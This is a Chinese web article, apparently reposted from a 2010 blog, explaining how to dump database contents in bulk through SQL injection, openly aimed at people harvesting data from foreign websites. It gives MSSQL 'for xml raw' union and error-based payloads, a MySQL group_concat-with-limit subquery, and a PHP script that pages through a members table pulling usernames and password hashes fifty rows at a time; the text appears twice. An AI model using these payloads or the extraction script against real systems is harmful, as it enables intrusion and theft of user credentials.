SQL注入中獲取數(shù)據(jù)的一些技巧分析
發(fā)布時(shí)間：2010-05-13 14:24:21 作者：佚名 
我要評(píng)論
我要評(píng)論最近接觸了好多歐美日韓臺(tái)數(shù)據(jù)庫(kù)的數(shù)據(jù)搬運(yùn)工，很多目標(biāo)站想拿下來(lái)很難很難，不過(guò)大家看中的只是數(shù)據(jù)而非webshell，webshell只是為了搬運(yùn)數(shù)據(jù)方便一點(diǎn)。于是試問(wèn)下，只存在注入時(shí)，您還在一條條搬么？
一、MSSQL獲取數(shù)據(jù)：
用的比較多的就是for xml raw了，MSSQL2000都支持的！
注入中顯示數(shù)據(jù)的兩個(gè)辦法均可以使用，一是union select、二是顯錯(cuò)，以MSSQL2005為例：
返回（如果username重復(fù)，自動(dòng)去除重復(fù)值）：
<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回：
Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.
當(dāng)數(shù)據(jù)量很大，無(wú)webshell，有注入點(diǎn)可以利用的時(shí)候，for xml raw 是不錯(cuò)的獲取批量數(shù)據(jù)的辦法！為了不讓返回的數(shù)據(jù)量過(guò)大，top可以限制小一點(diǎn)，比如100，另外要附加腳本或者程序?qū)Ψ祷刂颠M(jìn)行處理。
二、MYSQL獲取數(shù)據(jù)：
用的比較多的是group_concat，mysql>=4.1支持該函數(shù)，可能很多人知道了，但我看過(guò)的文章幾乎都是用來(lái)讀table_name或者column_name的，畢竟表名、列名的數(shù)據(jù)量不大，所以用起來(lái)很方便，可以一下子把所有表名或者所有列名讀出來(lái)。不過(guò)用group_concat批量注入讀數(shù)據(jù)的很少，雖然可以提高效率，增快速度。
因?yàn)間roup_concat有個(gè)瓶頸，當(dāng)group_concat與limit連用時(shí)，limit不起作用（也許是先執(zhí)行g(shù)roup_concat），于是group_concat一次性讀出很多條數(shù)據(jù)（取決于group_concat_max_len，默認(rèn)1024），而一般網(wǎng)站數(shù)據(jù)量都是很大的。一旦不能與limit連用，怎么獲取之后的數(shù)據(jù)呢？
其實(shí)簡(jiǎn)單變動(dòng)下SQL語(yǔ)句即可以實(shí)現(xiàn)group_concat與limit連用：
select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A
返回：
guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是簡(jiǎn)單做下字符串處理，前三條數(shù)據(jù)就出來(lái)了。為了返回不至于數(shù)據(jù)量過(guò)大，單次查詢100以下一般可以接受的。
三、給出部分示例代碼（mysql group_concat 50條數(shù)據(jù)每次）：
<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//發(fā)送數(shù)據(jù)包代碼省略
//注入語(yǔ)句示例：union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
用的比較多的就是for xml raw了，MSSQL2000都支持的！
注入中顯示數(shù)據(jù)的兩個(gè)辦法均可以使用，一是union select、二是顯錯(cuò)，以MSSQL2005為例：
復(fù)制代碼
代碼如下:select username from members where 1=2 union select top 3 username from members for xml raw
返回（如果username重復(fù)，自動(dòng)去除重復(fù)值）：
復(fù)制代碼
代碼如下:<row username="admin"/><row username="Anna"/><row username="oldjun"/>
select username from members where 1=(select top 3 username from members for xml raw)
返回：
復(fù)制代碼
代碼如下:Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.
當(dāng)數(shù)據(jù)量很大，無(wú)webshell，有注入點(diǎn)可以利用的時(shí)候，for xml raw 是不錯(cuò)的獲取批量數(shù)據(jù)的辦法！為了不讓返回的數(shù)據(jù)量過(guò)大，top可以限制小一點(diǎn)，比如100，另外要附加腳本或者程序?qū)Ψ祷刂颠M(jìn)行處理。
二、MYSQL獲取數(shù)據(jù)：
用的比較多的是group_concat，mysql>=4.1支持該函數(shù)，可能很多人知道了，但我看過(guò)的文章幾乎都是用來(lái)讀table_name或者column_name的，畢竟表名、列名的數(shù)據(jù)量不大，所以用起來(lái)很方便，可以一下子把所有表名或者所有列名讀出來(lái)。不過(guò)用group_concat批量注入讀數(shù)據(jù)的很少，雖然可以提高效率，增快速度。
因?yàn)間roup_concat有個(gè)瓶頸，當(dāng)group_concat與limit連用時(shí)，limit不起作用（也許是先執(zhí)行g(shù)roup_concat），于是group_concat一次性讀出很多條數(shù)據(jù)（取決于group_concat_max_len，默認(rèn)1024），而一般網(wǎng)站數(shù)據(jù)量都是很大的。一旦不能與limit連用，怎么獲取之后的數(shù)據(jù)呢？
其實(shí)簡(jiǎn)單變動(dòng)下SQL語(yǔ)句即可以實(shí)現(xiàn)group_concat與limit連用：
復(fù)制代碼
代碼如下:select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A
返回：
guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
于是簡(jiǎn)單做下字符串處理，前三條數(shù)據(jù)就出來(lái)了。為了返回不至于數(shù)據(jù)量過(guò)大，單次查詢100以下一般可以接受的。
三、給出部分示例代碼（mysql group_concat 50條數(shù)據(jù)每次）：
復(fù)制代碼
代碼如下:<?
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' start end(end: count/50)
Example:
php '.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$start = $argv[1];
$over = $argv[2];
for($i=$start;$i<=$over;$i++){
getdata($i);
}
function getdata($i)
{
$resp = send($i);
if ($resp){
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#', $resp, $value);
if($value){
$namearr=explode("|||",$value[1]);
$passarr=explode("|||",$value[2]);
for($j=0;$j<50;$j++){
echo $namearr[$j]."|||".$passarr[$j]."\r\n";
}
unset($namearr);
unset($passarr);
}else{
echo $resp;
echo "value error,return $i\r\n";
getdata($i);
}
}
else{
echo "resp error,return $i\r\n";
getdata($i);
}
}
function send($i)
{
$limit=$i*50;
//發(fā)送數(shù)據(jù)包代碼省略
//注入語(yǔ)句示例：union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>
相關(guān)文章
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句（完整版）
這里為大家分享一下sql注入的一些語(yǔ)句，很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問(wèn)題，建議大家多看一下網(wǎng)上的安全文章，最好的防范就是先學(xué)2017-05-19mysql 注入報(bào)錯(cuò)利用方法總結(jié)
這篇文章主要介紹了mysql 注入報(bào)錯(cuò)利用方法總結(jié)的相關(guān)資料,需要的朋友可以參考下2016-10-08- SQL注入是從正常的WWW端口訪問(wèn)，而且表面看起來(lái)跟一般的Web頁(yè)面訪問(wèn)沒(méi)什么區(qū)別，所以目前市面的防火墻都不會(huì)對(duì)SQL注入發(fā)出警報(bào)，如果管理員沒(méi)查看IIS日志的習(xí)慣，可能被入2016-05-21
- 這篇文章主要為大家介紹了SQL注入測(cè)試實(shí)例分析,對(duì)于數(shù)據(jù)庫(kù)安全非常重要,需要的朋友可以參考下2014-08-06
- sqlmap 是一個(gè)自動(dòng)SQL 射入工具。本文收集了一些利用Sqlmap做注入測(cè)試的TIPS，其中也包含一點(diǎn)繞WAF的技巧，便于大家集中查閱，歡迎接樓補(bǔ)充、分享。2014-07-29
- 畢業(yè)開(kāi)始從事winfrm到今年轉(zhuǎn)到 web ，在碼農(nóng)屆已經(jīng)足足混了快接近3年了，但是對(duì)安全方面的知識(shí)依舊薄弱，事實(shí)上是沒(méi)機(jī)會(huì)接觸相關(guān)開(kāi)發(fā)……必須的各種借口。這幾天把sql注入2012-11-06
- java防SQL注入,最簡(jiǎn)單的辦法是杜絕SQL拼接,SQL注入攻擊能得逞是因?yàn)樵谠蠸QL語(yǔ)句中加入了新的邏輯2012-08-10
- SQL注入攻擊的危害性很大。在講解其防止辦法之前，數(shù)據(jù)庫(kù)管理員有必要先了解一下其攻擊的原理。這有利于管理員采取有針對(duì)性的防治措施2012-07-10
web 頁(yè)面 一些sql注入語(yǔ)句小結(jié)
web 頁(yè)面 一些sql注入語(yǔ)句小結(jié)，對(duì)于開(kāi)發(fā)人員來(lái)說(shuō)一定要注意的事項(xiàng)。2012-03-12